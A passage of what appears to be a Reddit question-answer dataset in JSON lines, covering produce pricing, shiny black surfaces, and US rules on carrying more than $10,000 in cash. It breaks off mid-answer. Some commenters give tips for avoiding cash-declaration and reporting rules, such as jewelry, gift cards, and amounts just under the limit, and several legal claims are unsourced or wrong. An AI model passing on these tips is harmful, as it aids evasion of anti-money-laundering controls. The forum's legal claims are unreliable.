{"q_id": "2bvojv", "title": "why is some produce like avocados and limes sold by the count instead of by weight?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2bvojv/eli5_why_is_some_produce_like_avocados_and_limes/", "answers": {"a_id": ["cj9cuyt", "cj9eo45", "cj9fb3n", "cj9fd5i", "cj9ijor", "cj9k7pg", "cj9kc8g", "cj9l96a", "cja258o"], "score": [5, 3, 21, 2, 2, 2, 2, 7, 2], "text": ["Hmmm, where I live, they're sold by weight...", "Where I live it's mostly by the each but produce stands will sometimes sell by the pound. It's almost always cheaper to buy a bag of limes than individual ones though and they last for a long time in the fridge. In Mexico I saw everything being sold by weight and avocados were so, so cheap.", "They are very similar sized. This takes the guesswork out of the purchase as the customer knows their total commitment before they have it weighed. That encourages more purchases.\n\nItems that have more of a variance in weight would be scrounged though for the heavy ones. Its a good idea to discourage people scrounging, not because they take all the large fruit but mainly because they damage the leavings.", "Where I'm from limes are sold by weight. There are also some things which are sold by weight one day and count another. My guess is that it has to do with the supply and cost that the supermarket is getting, and whether it is more important to move the stock or get every cent for the produce. ", "Avocados are also sold by the each at the wholesale level. Interestingly, at least to me, count is used as a measurement of size. Avocados are sold by 60 count, 70 count, etc., which is how many avos will fit in a standard size box. The smaller the count, the bigger the fruit. Same thing with apples (90-120 ct/bushel), oranges, and other variable size fruits.", "Where I live they're quite expensive, I suppose they do it because \"2 for $3\" looks a lot cheaper than \"$10/kg,\" especially when they're surrounded by things like oranges and potatoes at  < $1/kg.", "I work at Target. No scales at our registers so it's all sold \"by the each\".", "The basic answer is that its much easier for inventory and for the checkout process to measure all produce by either quantity, or sell pre-packaged produce with bar codes (grapes, cherry tomatoes, strawberries, etc.).  The problem is that when items vary drastically in size or are sold in bulk (mushrooms, banana bunches, potatoes, broccoli, etc.) , they can't be sold by quantity because everyone would pick the largest ones first, and must therefore be weighed.  Items that are relatively uniform in size (apples, grapefruit, oranges) can in turn be sold by quantity.\n\nsource: Did inventory at a grocery store for 10 years.", "When limes jumped in price recently, I noticed a bunch of places that always sold by count (10/$1, 6/$1) were suddenly selling by weight ($3.29/lb.) to make it harder to calculate how much they'd gone up in price..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "4qrop7", "title": "What's going on photon-wise with shiny black surfaces? Shouldn't black absorb all the light?", "selftext": "While we're at it, how can something be both transparent and shiny?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4qrop7/whats_going_on_photonwise_with_shiny_black/", "answers": {"a_id": ["d4vbthq", "d4vg1wp", "d4viu1p"], "score": [5, 17, 2], "text": ["Not if it's shiny, no. Black, to our eyes is just an absence of light. That doesn't mean a *total* absence of light, just 'black' in contrast to anything else around it.  \n\n[Vantablack](_URL_0_) is the nearest we've come to a totally light absorbing surface.  \n\nAs to why the surface is shiny, that depends on the material. there could be a non-black reflective layer on top (e.g. varnish) or it could be that the surface is a lot smoother and therefore more reflective. It could even be that the material has a refractive index such that some light gets bounced back before it gets any appreciable distance into the material. If it's shiny, it means that some light is being reflected instead of/before it can be absorbed.", "All surfaces have diffuse and specular components in their reflected light.  The perceived color of an object is largely determined by the diffuse component.  If an object reflects very little visible light in a diffuse manner, we will perceive it as black.  At the same time, the object can reflect light in a specular (directional) manner, which will appear as glossy glare for certain viewing angles in conjunction with the angle of incidence of the source of light.\n\n & nbsp;\n\nWe use transparent shiny things all the time in everyday life!  Glossy coats for printed materials are exactly this.  They work in a very similar fashion to black shiny objects.  The diffuse reflection is very low but instead most of that light is instead transmitted through the material.  Meanwhile, the specular component can be quite high depending again on your viewing angle\n\n & nbsp;\n\nSource:  The Lighting Handbook, Tenth Edition\n\nEdits:  cleaned up phrasing for clarity", "Q:How can something be both Transparent and shiny\n\nA: The light beams reaching your eye originate at different sources.  The \"shiny\" portion is probably light coming off at a shallow angle, so instead of being refracted, it is reflected.  The transparent portion of the light is light coming through the object.  We often imagine a single source of light due to all our science books--that is a great way to show ideal behavior--but in the real world light is bouncing all around and the light that ends up at your eye can come from both withing the object or reflected from some other source.   Why does the moon reflect on the water at night?  Water is transparent--you are viewing it at a low angle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Vantablack"], [], []]}
{"q_id": "26t4z5", "title": "why is transporting more than $10,000 cash illegal?", "selftext": "This is sort of a two part question, why is transporting legal US tender illegal, or if not, require some sort of approval? Secondly, who sets the number at $10k? I remember that being the number as a kid 20 years ago from movies, but $10k 20 years ago is worth $16k now... it's not a terribly large amount of money any more. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26t4z5/eli5_why_is_transporting_more_than_10000_cash/", "answers": {"a_id": ["chu7duj", "chu7e7s", "chu7g7h", "chu896t", "chuaaia", "chuajmj", "chuavuy", "chubulp", "chubxii", "chuc3fi", "chuc8xe", "chucatq", "chucqtw", "chucv4n", "chucwyw", "chudczf", "chudklj", "chudmy2", "chudxui", "chudy09", "chudyla", "chudyw0", "chue7nb", "chue824", "chuegua", "chueoup", "chues1r", "chueuxr", "chuewsm", "chuf00g", "chuf23m", "chuf2bj", "chuf2im", "chufd8y", "chufdui", "chufkk0", "chufm7o", "chug2lf", "chugidx", "chugliw", "chugnay", "chuh4nc", "chuh9pf", "chuhge2", "chuhmxf", "chuhqwt", "chui02n", "chui1nd", "chui6y4", "chuik74", "chuioao", "chuiqyt", "chuixc4", "chuj1tu", "chuj7sn", "chujka8", "chukp69", "chukth2", "chuku16", "chul7nd", "chul9fn", "chulfod", "chulrqv", "chum5cp", "chum6ur", "chumd3s", "chumq8k", "chumxru", "chun2af", "chun7zb", "chun8re", "chunefn", "chunhw6", "chuo3nu", "chuoy0b", "chuprba", "chuq07f", "chuqg76", "chuqget", "chuqwbb", "chur243", "chur2va", "chur4hz", "chur6r2", "churg6n", "churqdk", "churxga", "churyvk", "chus0bi", "chusgza", "chush1k", "chusorz", "chutgx3", "chuud2j", "chuusjd", "chuwmi7", "chv2zmg", "ci4ri1h"], "score": [38, 1697, 256, 534, 3, 2, 13, 7, 147, 23, 48, 2, 2, 15, 10, 2, 3, 3039, 10, 2, 12, 23, 7, 24, 3, 8, 2, 2, 2, 9, 2, 2, 27, 2, 2, 3, 3, 3, 2, 18, 2, 2, 2, 2, 8, 2, 2, 19, 3, 10, 2, 2, 2, 2, 5, 2, 2, 11, 2, 2, 2, 2, 2, 9, 2, 9, 3, 5, 2, 2, 2, 2, 4, 2, 2, 2, 3, 6, 3, 2, 2, 2, 3, 2, 7, 2, 4, 2, 2, 3, 2, 3, 3, 3, 2, 5, 2, 2], "text": ["Why do you need to move that much money in cash?  Are you a drug dealer?  - These are the questions the government is interested in\n\nIts not illegal, you just have to declare it.  Banks and the Government track large transactions (which are defined as larger than 10k) because the vast vast majority of people have no reason to have that much cash.  If you have a valid reason, then you can declare it with no trouble.  If you don't have a valid reason... you are probably doing something illegal.", "It isn't against the law, but if you get caught with that much cash the authorities see it as a 'red flag' of illegal activity.  \n\nThe legal significance of 10k in cash is that anything purchased greater than that amount has to be directly reported to the IRS.", "It's not illegal to trasnport more than $10,000 in cash. Check out this link from the government [CTR Reporting Info](_URL_0_)\n\nedit for more info:\n\n**What is the Currency Transaction Report?** A report that must be filed with the IRS for currency transactions valued at more than $10,000, or multiple transactions if they result in cash in or out totaling $10,000 during any one business day, and the financial institution knows these transactions are by or on behalf of any one person.\n\n\n**Why file a Currency Transaction Report?** The CTR is required by the implementing regulations of the Bank Secrecy Act (See 31 CFR 103). The Act is: (1) A federal law enacted in 1972, and subsequently amended, to detect and prevent money laundering by creating an investigative paper trail for large currency transactions and imposing civil and criminal penalties for noncompliance with its reporting requirements; (2) Federal legislation that requires banks to report cash transactions that exceed $10,000 in any single day and requires the bank maintain certain records (copies of checks paid, deposits, and so forth). The act is intended to inhibit laundering of funds obtained through illegal activities.", "I have a friend who keeps around $50k-$70k in his house as a disaster and emergency fund,  he's been saving it for years.  He was stopped during a. Move once and they found the safe and asked to see inside.  He showed them and they asked why,  he said because if the banks go down, or the power goes out,  or some crazy thing happens and i need cash i have plenty of it.  They ask took a count of it and snapped a pic of a bunch of random bills (for the serial number I'm assuming)  and sent him on his way. He never heard anything after that about it.  That was almost 4 years ago. So moving it doesn't seem to be an issue.  Also he is black and so were the men helping him move. Not a word about drugs or illegal things were mentioned the entire time. ", "It's not against the law to carry that much cash but cash transactions over that amount must be reported to the IRS as a way to fight money laundering. ", "Can tell you as a finical advisor, I think I speak for all of us, you hear the 9/11 analogy multiple times every year.", "I can answer this, Forensic accountant here. The reason it's illegal to transport such amounts WITHOUT declaration, is because of anti-money laundering provisions. Cash is king and transporting such amounts is indicative of money laundering. ", "I recently move $5000 from one bank to another to open a new account at a bank closer to where I live. The person at the bank had to answer all those stupid Gestapo questions. The person told me that bullshit answers were being given.\nFuck the  government.", "It's not illegal, just incredibly dangerous because the police can legally steal the money from you.  All they have to do is claim that the money is proceeds from illegal activity (drug trafficking usually).  And they often do this under[ Civil Forfeiture laws](_URL_0_), which have far lower standards for establishing guilt than criminal proceedings.  You end up stuck in the position of having to prove your innocence to get the money back.  It's quite perverse.\n\nTL;DR:  It's legal but dangerous, because the cops have the legal right to steal your cash without any significant proof of wrongdoing.", "Near where I live, if they catch you with $1,000 in cash they'll bring out a drug dog, show that the dog smells drugs on the money, note that you're traveling between cities with known drug activity (i.e., everywhere), and threaten to take your kids away from you and charge you with felonies unless you forfeit the money.  I've been meaning to collect a bunch of 1's with a 20 wrapped around them to put on my dashboard if I get stopped.\n\nEdit: Here's a funny example of a town.  The town center's away from the highway, but they annexed the highway.  20 or so years ago the FBI raided the town for being a speed trap, speeding tickets were its main source of income.  10 years ago though on the stretch of highway that just so happens to be in city limits there was road construction, that road construction lasted 5 or 6 years, doubling the ticket penalty.\n\n_URL_0_", "Reminds me if this:  \nMistake costs dishwasher $59,000. \n_URL_0_", "So if I am reading all of these answers right, I'd have no trouble if I went to a dealership and bought myself a Burgmen 650. (there probably 12k give or take after taxes and shit) and paid in cash. \n\nIf it's all legal tender, and I wanted to do so, they can't refuse it, but they must declare I purchased it to the IRS, because I bought it outright, not with a loan?", "It's not illegal.\n\n**But**... The police can take it from you if you can't prove its origins. For example if you get pulled over with $100,000 you won't get charged with anything but they can confiscate it if they choose to (they probably will) and hold it until you can supply evidence that it came from legal activity.\n\nI've read stories of people filing suit with courts to get it back on the basis that it's not constitutional and have won, I imagine that would be a pretty easy argument for a good lawyer.", "On a side note, I think the \"legal\" amount in Britain is like \u00a3500 or \u00a3750. Any more than that and you can be arrested on the spot for money laundering.\n\nPretty crazy the difference in amounts.", "also say you won like $100,000 in vegas. is there any safe way to transport it out of the state without the danger of cops pulling you over and confiscating it?", "Because the taxman", "Drake makes that illegal money rain in strip clubs. Illegally. ", "Well, it's not really illegal, but people get weird when you buy things in lots of cash.  \n\nI bought my triumph motorcycle with 20 dollar bills...all $14,000 worth.  \nI did it for fun, took the money out of my ATM $500 per day.  Nobody ever said anything, but the sales guy seemed a bit nervous when I said OK, I'll take it, and started pulling wads of cash out of my messenger bag.   \n\nI also withdrew $12,000 from my account one day (to move it to another account at a different bank) and they gave me a form to fill out.  When the form asked what it was for, I wrote in \"strippers and beer.\"  The teller looked at me like I was a psycho but didn't say anything.  ", "Because we live in a borderline Orwellian police state. ", "It's real bullshit if you think about it.", "I don't really want to contribute to the toolkit that criminals use, nor do I advocate trying to circumvent the law but there is an obvious and very easy way around this.   \nSimply convert the large amount of money you are attempting to move into a physical item, then once you get to your destination, convert it back into money.   \nJewelry is a perfect solution.\nIf you try to carry $10,000+ in cash through an international airport without declaring it, you will most likely have a very bad time.   \nIf however you go through the same airport with a $10,000 watch / ring / necklace, no one will even notice.   \nI learned of this trick while watching a documentary about the pink panther jewelry thieves.\n", "Ironically, to get around this requirement the new form of illegal drug money transfer is in store gift cards or prepaid visas. You can have hundreds of thousands in a small suitcase and then load them remotely over the web from offshore accounts. The cops can't do anything because the cards are blank/empty crossing the border and are loaded later.", "The same reason any victimless crime is illegal.  The government has decided they are the \"parent\" and we are children and we need to be told what to do for our own good.\n\nUnfortunately a large proportion of people likes living that way, and a large proportion of people benefit from others being subordinate, so if you add those two groups together you get over 50% of the voters (apparently) and laws controlling our lives just keep piling on and on.\n\nAny others reasons that are given here or elsewhere are just window dressing by other people justifying inhibiting your personal freedom for their own personal gain.", "It is set by the Treasury Dept.  If you move more than $10,000 the bank is required to file a report with the T Dept.\n\nIt is designed to minimize drug trafficking and terrorism support.  \n\nThe real reason is to make sure that you are reporting your income correctly.\n\nThere really should not be an issue providing the cash a most banks.  The reason most of our tellers would question it is that you would get hit over the head and someone would steal it from you.\n\nSource:  was an SVP at a bank and had to take the stupid Patriot Act test.\n\n", "It might sound like it's mincing words, but there is absolutely nothing illegal about trNsporting cash, be it $1 or $1,000,000.\n\nHowever, you do need to declare it if you're carrying over $10,000 at certain places like airports. The theory being that people whose income is legitimate generally don't have a need to carry that much cash and if they do, since it's legitimate, they'd have no issue declaring it. \n\nI can see where they're coming from. \n\nThere isn't much reason one would ever travel with that much cash.  Maybe you're planning to buy a car for cash a few states away. \n\nPersonally, while the $10,000 amount seems rather low, I can't imagine many cases where one would want to travel with that much, unless they HAVE to (they can't deposit it to a bank account). Could be a drug trafficker who wants to take possession of their proceeds or it could be someone that wants to move their money outside the view of authorities (say, move the funds to an account in Switzerland or the Cayman Islands).\n\nAt of the day, the number of people transporting that much cash is pretty low, so it's an easy group to scrutinize. ", "First, it isn't illegal to have the cash, just be able to explain where it came from. \n\nThe reason is to fight the operations of criminal organizations mainly. One of best ways to do that is to make it difficult for them to operate by cutting off ways for them to move funds. Banks won't open accounts for them, because for high volume/value accounts, they are going to have to explain the source of funds. So they are stuck moving the cash. Since there aren't too many legitimate reasons to be carrying that much cash, doing so is indicative of being involved in illegal activity.  ", "When you commit a crime, bring only up to $9999.99 in cash", "Cuz our feudal overlords don't want poor people hoarding money and not buying into their system.", "Because governments hate free people", "ELI5 version:  Carrying cash in any amount is not illegal.  You can carry a million dollars around if you want.  However, there are some laws that let police officers take your money away if they want to, then you have to prove that you got the money legally.  These laws are supposed to help police officers take money away from drug dealers.  But the laws let the police officers' bosses keep some of the money the officers take away from people, so they often take money away from people who are not drug dealers. Then the police scare those people into signing papers to give up the money and go away.", "It's not illegal, just suspicious. Most people dont have $10k carry cash, some do. I recall an interview with Floyd Mayweather where he said he doesn't leave the house with less than $100k", "Because you only need that much cash on hand for hookers, drugs or guns. ", "$10K is an arbitrary amount chosen by our government, above which you're considered a possible money launderer and/or tax evader. There are all sorts of laws and regulations on the books requiring people: 1) declare when they transact more than $10K in cash; and/or 2) explain in writing where the cash from in a currency transaction report (\"CTR\").\n\nCTRs are required when a person deposits $10K in cash in a bank, spends $10K in cash on a purchase, and attempts to enter or leave the US with $10K in cash.\n\nIt's not illegal to transact with over $10K in cash. However, you generally have to sign the CTR under threat of criminal sanction that your explanation is true. If at some later point a law enforcement agency reviews your CTR and finds out you provided false information, that will be bad for you. As an FYI, structuring your transactions to \"get around\" the limit is inherently suspicious.", "Why? Because the government wants their cut. Anything of this value or higher is worth their time to look closer at to make sure they got their cut. The government is one big mafia.\n\nSure, you can also look at it from the point of view of the law-abiding government too and they would just want to make sure no illegal activities are going on. But being that we don't have many honest people in power anymore, I'll stick with the mafia-run government.", "That's why we have /r/dogecoin :D", "Funny, that's the same amount that the Federal Reserve looks for in transfers between accounts and cash deposits. ", "Whether it's illegal or not will not stop corrupt cops from taking it and forcing you to spend a good amount of it fighting to get it back", "It is technically not illegal, but it is instead a red flag for criminal behaviour. Most people today use credit cards or debit when performing transactions larger than what they need for simple transactions. However, credit card transactions are recorded. In order to avoid having their dirty money recorded, organized crime use paper money, as it's flow through the black economy cannot be as easily traced. This is especially true at borders, where drug dealers, drug transporters, and gangsters would try and sneak large sums of money to or from an outside country (for example, Colombia). Although this does inconvenience those who are performing donation drives and others, criminals are the largest transporter of money in that proportion with the exception of banks. Why is it set at 10,000$? It is fairly rare for a person to carry more than 500$ in cash on their person at any given time, let alone 10000$. 10,000$ is a fairly round number, and leaves a margin of error for the rare chances someone might carry that much money for legitimate reasons. Besides, when moderate to high level criminals typically carry money across borders or through certain services, they quite often carry more than 10,000$ when making a deal or returning profits. Heck, they could carry between $10,000 and tens of millions of dollars when transporting money. I hope this helps.", "My Uncle Vinny wipes his ass with $10,000. Fuggedaboutit.", "This was actually created in 1970 under the Bank Secrecy Act.  That is when Fincen was founded to catch money launders.   They set the limit at $10k since that how much money was in a stack of $100's.  All banking institutes must report to FINCEN anytime someone enters or exits the bank with over $10k in a single day.  If you try to be clever and go to multiple branches technology today will pull all that info and you will be reported on.  The whole process was setup to watch the flow of currency.  While there are many good reasons to have that much cash on you,  wholesalers, check cashing stores or buying a car, there are other ways that it is not normal.  If every two weeks you are walking into a bank with $50k in cash but your occupation is waiter, then things look suspicious.  Your bank can file a Suspicious Activity Report (SAR) on customers who seem to be doing illicit things with cash or their accounts.  If a SAR is filed on you then law enforcement can subpena those records as a way to build their case.  On an average day there are upwards of 100,000 reports filed to Financial Crimes Enforcement Network a day.  A majority of those have no further action taken.  \nYou may remember a year or so ago HSBC got into hot water for not reporting large currency transactions that led to funding terrorism.\nNow if all this makes you unwary, don't fret if you ever have a report filed on you as long as it's for something legitimate.   Besides what is the most cash you've ever really had to have on your person?   For me it was $5k which is under the reporting limit.\n\nReference:I work in Financial Crimes for a bank.", "Because capitalists don't get their cut.\n", "Conflating issues....\n\nIt just must be declared, its only illegal not to declare it, and that only involves coming in and out of customs (international borders), or depositing/withdrawing in a bank.\n\nThe amount is set by Congress and it is an arbitrary amount based on conjecture. In the US, $10,000+ is stigmatized, in Greece its maybe 1,500 euros, the rationale is the same though \"because who has a reason good reason to have that amount\"", "It's not illegal, but you should be aware that if the cops stop you with that kind of cash, they're going to do everything they can think of to charge you with almost any drug crime.  If they can charge you with a drug crime, they can confiscate the money, on the spot. That money goes to their department, to help them fight the wars on drugs and terror.  They use it to buy all sorts of shit, cars, motorcycles, guns.  Then good fucking luck trying to get it back.  I've heard of cases where even after being found not guilty, defendants could not get their money back.", "Sometimes, transporting less than $10k is also illegal. \n\n_URL_0_", "It has nothing to do with \"illegal activity\". The government doesn't want you going off-grid. If you're off-grid they can't track you, can't control you.\n\nTurns out, they hate us for our freedom.", " Also you are allowed to give up to a  maximum $10K per year in cash as part of one or more transactions to one person. (I am not sure if this also includes a business). Beyond that documentation is required.", "Here's a another go at an answer, that covers the 'follow up' questions that are occuring.\n\n1. It's not illegal\n\n2. It must be declared - so it is traceable.  This is to stop terrorism financing, and money laundering.\n\n3. Yes, of course you can load a prepay Visa card, or transfer funds between bank accounts internationally.  The key difference, is that these transactions are not anonymous.  You need ID to open a bank account or to activate a prepaid credit card.\n", "It's not illegal.  There are professional gamblers, couriers and other people that sometimes carry more than that.  You DO however, have to be ready to provide legal documentation as to the origin and purpose of that money.  The same applies to entering or leaving the United States with large sums of money, as per Title 19 of the United States Code, Sections 482, 1467, 1496, 1581 and 1582; cash, checks, money orders or any other monetary instrument. \n\nReference:  I'm a Federal Agent with the Department of Homeland Security.  I work at a major border crossing area in Southern California.\n ", "It is not illegal.  You must simply report any amount of money you move across an international boundary from the United States in excess of 10k.  The form filled out is a FinCen 105.  the purpose of this is to detect illicit transactions and find people/groups associated with terrorisim/money laundering/human trafficking/narco trafficking.\n\nThe FinCen is just a form that states how much you have and if it is leaving or entering the U.S.  It is an in-house customs form and is not reported to the I.R.S.\n\nYou can move as much as you want to, just report it.\n\n_URL_0_\nsource:\n31 USC 5316, 5322, 5324, 5332", "Well chief, we searched the car in and out and can't find the money anywhere.\n\nBoys, we've got nothing.  We have to let him go.\n\nLittle did they know, they money wasn't hidden in the car.  The money was the car.  I drove my way out of town and sold it for a pretty penny.", "Because muh cartel, seriously they think anyone with money is doing illegal shit...\n\nwhich is actually kinda true, even bankers and shit.", "The us is turning into a police state. ", "Carrying less is also bad, because then they say you were deliberately avoiding $10k, and that makes you suspicious.", "I have a story about this.\n\nSo yes.  Banks have to report to the IRS cash transactions totaling more than 10,000.  In fact, it may be even broader than cash only, but when I was a teller for a regional chain in New England 11 years ago, it was only for cash.\n\nWhen I was just starting out as a teller, there was a woman that would come in DAILY with a huge amount of cash.  But somehow, after counting, it always came to 9,950, or something similarly JUST SHY of 10,000.\n\nI knew I had to report 10,000 deposits, so I was just glad she was making my life easy.  Then one weekend, she deposited that large amount on a Saturday morning during our weekend hours and another 9,950 on Monday morning.  Thing is, we accept deposits on Saturday, but don't technically process them until Monday at noon.  So now, she tipped the scale over to 19,000 and I had to fill out the form.\n\nWhen I gave it to the manager, he laughed and informed me that apparently the woman had been depositing just below the limit at THREE BRANCHES around time for a few months and corporate had filled out one of these forms EVERY DAY for a while now.\n\nSupposedly she ran a cash only gas station business, but the feds were keeping an eye on her because she was obviously trying to avoid attention.  They'd been watching her whole business for a while when I had to file my report.  I don't know if any laws were broken, but their cash only gas stations shut down within a year.\n\nTLDR: Woman tries to avoid IRS/Federal reporting limits, was actually triggering inquiries EVERY business day for a few months.", "\"Because.\"\n\n*Slams the jail cell door.*", "Is this because a customs officer asked you that question? They ask it pretty often.\n\nIt's not illegal to carry more than $10k, and it's not illegal to carry it across international boundaries either. But if you do, they have to know, and it's illegal to not declare it.\n\nAfter a quick search, I couldn't find an explanation from the U.S. CBP, but [some explanation](_URL_0_) can be found on Canada's CBSA website:\n\n >  This reporting requirement will assist the government in its efforts to:\n\n > * investigate and prosecute offences related to money laundering and terrorist  financing;\n > * respond to the threat posed by organized crime; and\n > * fulfill international commitments to fight transnational crime.", "The US government has been trying for decades to squeeze out the finances of drug dealers and other organized crime. They have discontinued larger denominations, so the largest bill is $100. The require all transactions of cash over $10,000 to be documented, and require you to declare entering or leaving the USA with $10,000 or more in cash.  Allegedly they also have a program where they scan the serial numbers of all $100 bills as they go through the banks, to track the flow of cash. \n\nThe idea is that if they can't catch the crooks actually carrying or selling drugs (difficult for the kingpins, they leave that for their minions) they will use money tracking to catch them on income tax charges or other financial crimes. How do you pay for your Mercedes or  your $5M mansion if you can't explain where the money came from?  \n\nThis is why a lot of organized crime gets into businesses that deal in a lot of cash. Open a pizza chain (in Weeds, it was supposed to be a bakery) and deposit wads of cash as \"receipts from sales\". Suddenly you're a successful businessman and the money in your bank seems legit. Unless they stake out the pizza place and see you did not sell 500 pizzas that day...\n\nThe USA has also been applying pressure to foreign banks - if they want to do business with the USA financial industry (who doesn't) they must adhere to US rules - report money laundering, track large purchases, etc. If you find a Cayman bank to take your drug money (which has to be smuggled out the USA) then they are watching for transfers from Cayman banks. \n\nFor you and me - if we're audited, they can see a decade's worth of payroll deposits, regular withdrawals for rent and car payments, etc. and it matches our employer's books and our tax returns. If you suddenly show up with $1M the IRS will want to know where it came from. If it's cash, they'll look at where they last saw those bills, If it's a cheque, who wrote it for you?  Even if you deposit your paycheque in the bank, but never take any money out - how do you pay rent, food, car payments, etc? A good audit can find out all sorts of interesting things. \n\nAnd so on. \n\nYour drug supplier might take a suitcase full of cash, but the Mercedes dealer or real estate will have to explain it to their bank, which leads back to you. ", "Serious answer:\n\n1. if you carry more than $10K across the border, you must report it.\n\n2. Any cash transaction of more than $10K  with a financial institution [must be reported](_URL_0_).  This is a CTR (cash transaction report) that the bank may flag as a STR (suspicious transaction report).  A bank may be [punished](_URL_2_) for revealing that it filed an STR.\n\n3. Structuring transactions (eg, taking out $6K twice) is *severely* illegal, but potentially un-provable unless you yap too much.\n\n3. Carrying any amount of cash in the US is legal, but 'they' can confiscate it and force you to prove that the origin is legitimate, giving you a limited time to do so.   It may revert to the local law enforcement authority.  The expense of recovery  can exceed the value of the money, especially if you are traveling.\n\n4. The amount was $10K in 1986 (the start of the requirement).  It was as good as anything else.  This would be $21K today, so inflation has lowered the reporting threshold by a factor of two.    The odds of this being inflation indexed are basically zero, because CTRs are automated (zero-effort) and *WHY ARE YOU SUPPORTING CRIMINALS*?\n\n5. Why? Money laundering, the general belief that financial privacy is not a right, and the desire of law enforcement for an ever-growing [Panopticon](_URL_1_).  Any form of privacy that is not interpreted as Constitutionally enshrined will be inevitably eroded.\n\n\n\n\n\n\n\n\n\n", "I bought an acre of land in 2006. I paid $12,500 in cash. The Realtor flipped. They made such a big deal about it, \"it's just, no body does this\".\nThey almost wouldn't accept it. \nI thought that would make it very simple for everyone. \nI just did it to see that much money in cash. ", " >  as a kid 20 years ago from movies, but $10k 20 years ago is worth $16k now... \n  \n\nI gather you haven't made any money in those investments. ", "At the U S border the guard asked  us if we had more than 10 k on us.(7 of us in a suv driving to Disneyland) I said no and he said \"why not your going to need it.\" Pretty funny for a border guard.", "If cops search you or your car and find 10k, they will take it and claim it's drug money. The burden of proof will be on you and not on them. They can hold the money for months while you spend lots of your time and more money trying to prove them wrong. Chances are, you never gonna see your money again\n\nSo yea, the main reason not to have lots of cash is that the cops can legally rob you", "A lot of people are complaining about this and giving examples of when they filled out a BSA form and said it was for booze or strippers or whatever. Let me explain. A Bank Secrecy Act form must be filled out for transactions of over $10,000 at any financial institution. The bank or credit union is not trying to keep your money from you. In all honesty, it's just a pain for everyone. If you fill it out honestly you'll have no problems and can walk away with your cash quietly. If you throw a fit or refuse or lie on the form with something outrageous, a SAR will be filed on you. Again, a hassle for everyone but the teller won't be too upset over doing that against you for being a giant tool. The Suspicious Activity Report will be filed against you and sent to the IRS and your accounts will be monitored. It will only end badly for you. So just tell the bank what the cash is for, if it's a gift or a motorcycle or a car or the down payment on a house. Strippers is not a legitimate reason and the teller won't accept it because it'll only get them in trouble. ", "Just another control mechanism that helps criminals in the government/behind the government stay in power longer.\n\nBugging citizens about $10K in cash, an amount of money that doesn't even buy a decent used car these days.\n\nMeanwhile, a billion dollars goes missing in Iraq and nobody knows where it went, or is lying about where it went.  Because accountability doesn't exist in the upper class.\n\nAnd yet the poor people continue to play the game.\n\nAnd that's why I hate poor people.", "Because that's what kind of goofy laws get when you marry government with big banks.\nread as: when big banks do a hostile takeover of your government.", "Here is 10000 units of bitcoin money to illegally carry\n\n10000 satoshis /u/changetip", "In 1970 an act was passed to prevent money laundering. 10k back then was worth more. They should up the limit. They won't because this isn't as much about preventing laundering as controlling what you do with your money. I don't think the act says anything about banks having to ask what the money is for. I'm sure you could sue if they refuse to release the cash. Any lawyers in here that know?\n\n_URL_0_", "Because the government and police are not your friends! ", "I wonder if pharmaceutical companies write 'drug money' on their tax forms. ", "I actually work at a bank and had to take an online course about this today as a part of my training to become a teller. Very interesting that this question would be posed today. Anyways, its not necessarily illegal, but exchanges of and exceeding $10,000 in a single day was set by the government as a number to be reported due to the potential of it being someone laundering dirty money into the system. Its perfectly legal to do so, but any exchange exceeding $9999.99 will cause a banker to legally notify the government. Suspicious activity reports are also supposed to be filed if there is a potential for illegal activity being related to exchanges with a bank, so even exchanges of $9999.99 could be perceived as suspicious activity and will therefore be filed. \n\nTl;Dr it isn't illegal, its just a security measure. You can certainly make exchanges of $10,000+ but know that there will be powerful people scrutinizing these exchanges under the suspicion of illegal activity. ", "It's not. Often it requires additional documentation and/or reporting. Such as crossing the border. Monetary instruments (cash, gold doubloons, traveler's cheques, ect) must be declared while crossing most borders. Once declared it is documented. The purpose if this is to combat money laundering and cross border drug shopping.\r\r\rSource: Work, and also the internet. ", "\"Because fuck you.\"\n- Da Gubmint", "Yet most of Reddit supports a bigger government.. Reading these comments is laughable.", "It's not illegal.", "A bit of a side note here: Some acquaintances of mine have a sizeable amount of money on a Swiss bank account. They live in the Netherlands. One day they went to Switzerland, and took some money with them. Usually, they go separate, one driving home, the other taking a train. However, this one time they drove home together. They were held up at the border, and they were SPECIFICALLY asked if they had any money on them. When they said they did, it was all confiscated. I think that was about \u20ac5k or \u20ac10k, but I'm not sure about the exact number.", "Because we're free range slaves.", "I don't think anyone has actually answered your question. I take \"transport\" to mean \"across international borders.\" All countries have an interest in knowing how much currency is coming in and leaving the country because large amounts over time can mess with how much the national currency is worth. It's easier to keep tabs on funny money transferring electronically, but its harder with cash. Also, smuggled cash tied to crimes can be problematic. \n\nAnyway, here's the relevant inforamtion on the legality of transporting funds into the US courtesy of the [US Customs and Border Protection](_URL_0_): \n\n\"There is no limit on the amount of money that can be taken out of or brought into the United States. However, if a person or persons traveling together and filing a joint declaration (CBP Form 6059-B) have $10,000 or more in currency or negotiable monetary instruments, they must fill out a \"Report of International Transportation of Currency and Monetary Instruments\" FinCEN 105 (former CF 4790). ... If a person or family fails to declare their monetary instruments in amounts of over $10,000, their monetary instrument(s) may be subject to forfeiture and could result to civil and criminal penalties.\"\n\nSo, transporting isn't illegal but not declaring it is.", "I use Bitcoin and don't declare shit.", "In my short stint in the TSA, we were trained to turn it in if we saw over 10k in cash, but I never did. I saw 9k a lot. I also saw lots of foreign currency, but didn't know the exchange rates, so I didn't care. I didn't want to turn people in, just wanted to make sure the planes were safe. ", "Basically it relates to tracking currency movements to stop illegal activity. This website has some FAQs (its Aussie)\n\n_URL_0_", "It is mainly to prevent illegal activities. Everyday people do not really need to carry around 10k in cash, but drug dealers most likely will as it is dirty money they can't put elsewhere.", "This is how banks protect themselfs against you taking care of your own money. Wanna go buy a small house with your saving for 15 years?\n\n*Where is your evidence you saved your money? *\n\n*Where is your evidence I haven't? *\n\n*We don't need it. *\n\n*We'll take that.*", "It's the implications.........", "Speaking as far as USA law goes (other countries have similar laws)...\n\nAs far as WHY it's exactly $10K, that's just the law.  Maybe it should be changed.  But for now, it's the law.\n\nSecondly, it's not illegal.  Not even a little bit.  You can take as much cash into or out of the USA as you want.  It's perfectly legal.  What is ILLEGAL is traveling into or out of the 